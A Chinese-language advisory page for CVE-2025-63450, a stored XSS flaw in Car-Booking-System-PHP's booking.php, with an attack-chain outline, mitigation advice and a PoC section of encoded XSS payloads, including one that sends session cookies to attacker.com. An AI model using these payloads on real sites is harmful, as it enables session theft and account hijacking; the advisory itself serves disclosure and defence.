IPBUF安全漏洞报告
English
CVE-2025-63450 CVSS 5.4 中危

CVE-2025-63450 Car-Booking-System-PHP跨站脚本(XSS)漏洞

披露日期: 2025-11-03

漏洞信息

漏洞编号
CVE-2025-63450
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Car-Booking-System-PHP

相关标签

CVE-2025-63450XSS跨站脚本Car-Booking-System-PHP存储型XSSWeb安全PHPbooking.php

漏洞概述

CVE-2025-63450是Car-Booking-System-PHP v1.0版本中的一个存储型跨站脚本(XSS)漏洞,位于/carlux/booking.php文件。该漏洞允许未经认证的攻击者通过在预订表单中注入恶意JavaScript代码,当其他用户访问受污染的页面时,恶意脚本将在受害者浏览器中执行。攻击者可利用此漏洞窃取用户会话Cookie、劫持用户账户、进行钓鱼攻击或修改页面内容。由于CVSS评分为5.4(中等严重程度),且攻击复杂度低,无需特殊权限,但需要用户交互,因此在实际攻击场景中需要诱导用户访问恶意页面。该漏洞影响系统的机密性和完整性,可导致用户数据泄露和网站内容篡改。Car-Booking-System-PHP是一个基于PHP和MySQL开发的汽车预订管理系统,广泛应用于小型租车企业和汽车租赁服务提供商。

技术细节

该漏洞为存储型XSS(Stored XSS),存在于Car-Booking-System-PHP的预订功能模块中。攻击者通过向/carlux/booking.php页面提交包含恶意JavaScript代码的表单数据(如姓名、电话、邮箱等字段),系统未对用户输入进行充分的输入验证和输出编码,直接将数据存储到数据库。当管理员或其他用户查看预订列表时,恶意脚本随页面内容一同被渲染到浏览器中执行。漏洞产生的根本原因是程序在处理用户输入时缺少适当的HTML实体编码或内容安全策略(CSP)限制。攻击者可以利用<script>标签、事件处理器(如onerror、onload)或javascript:伪协议构造恶意载荷。典型利用方式为窃取用户Cookie中的会话标识符,进而冒充合法用户进行操作。修复方案应在服务端对所有用户输入进行严格过滤,并使用htmlspecialchars()或htmlentities()等函数对输出数据进行编码。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的Car-Booking-System-PHP版本,确认/carlux/booking.php端点存在
STEP 2
步骤2: 恶意载荷构造
攻击者构造包含恶意JavaScript代码的XSS载荷,如<script>alert(document.cookie)</script>或事件处理器触发脚本
STEP 3
步骤3: 提交恶意数据
通过POST请求向/carlux/booking.php提交包含XSS载荷的预订表单数据,系统未过滤直接存入数据库
STEP 4
步骤4: 等待受害者访问
当管理员或用户访问预订列表页面时,存储的恶意代码随页面HTML一同返回给受害者浏览器
STEP 5
步骤5: 脚本执行与攻击完成
受害者浏览器执行恶意JavaScript,攻击者成功窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-63450 PoC - Stored XSS in Car-Booking-System-PHP --> <!-- Target: /carlux/booking.php --> <!-- Submit malicious payload via booking form fields --> <!-- HTTP POST Request --> POST /carlux/booking.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&email=test%40test.com&phone=1234567890&address=test&car_model=test&booking_date=2025-01-01&days=1&submit=Book+Now <!-- Alternative payloads --> <!-- XSS via event handler --> name=%3Cimg%20src=x%20onerror=alert%28document.cookie%29%3E <!-- Cookie stealing payload --> name=%3Cscript%3Edocument.location=%27http://attacker.com/steal?c=%27%2Bdocument.cookie%3C%2Fscript%3E

影响范围

Car-Booking-System-PHP v1.0

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时缓解措施:1)在前端和后端同时添加输入验证逻辑,拒绝包含HTML标签和JavaScript特殊字符的输入;2)对所有动态输出内容执行严格的HTML编码;3)启用HTTPOnly和Secure标志保护会话Cookie;4)限制用户输入长度和字符类型;5)定期审查日志文件检测潜在的XSS攻击尝试;6)考虑临时禁用受影响的预订功能模块。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表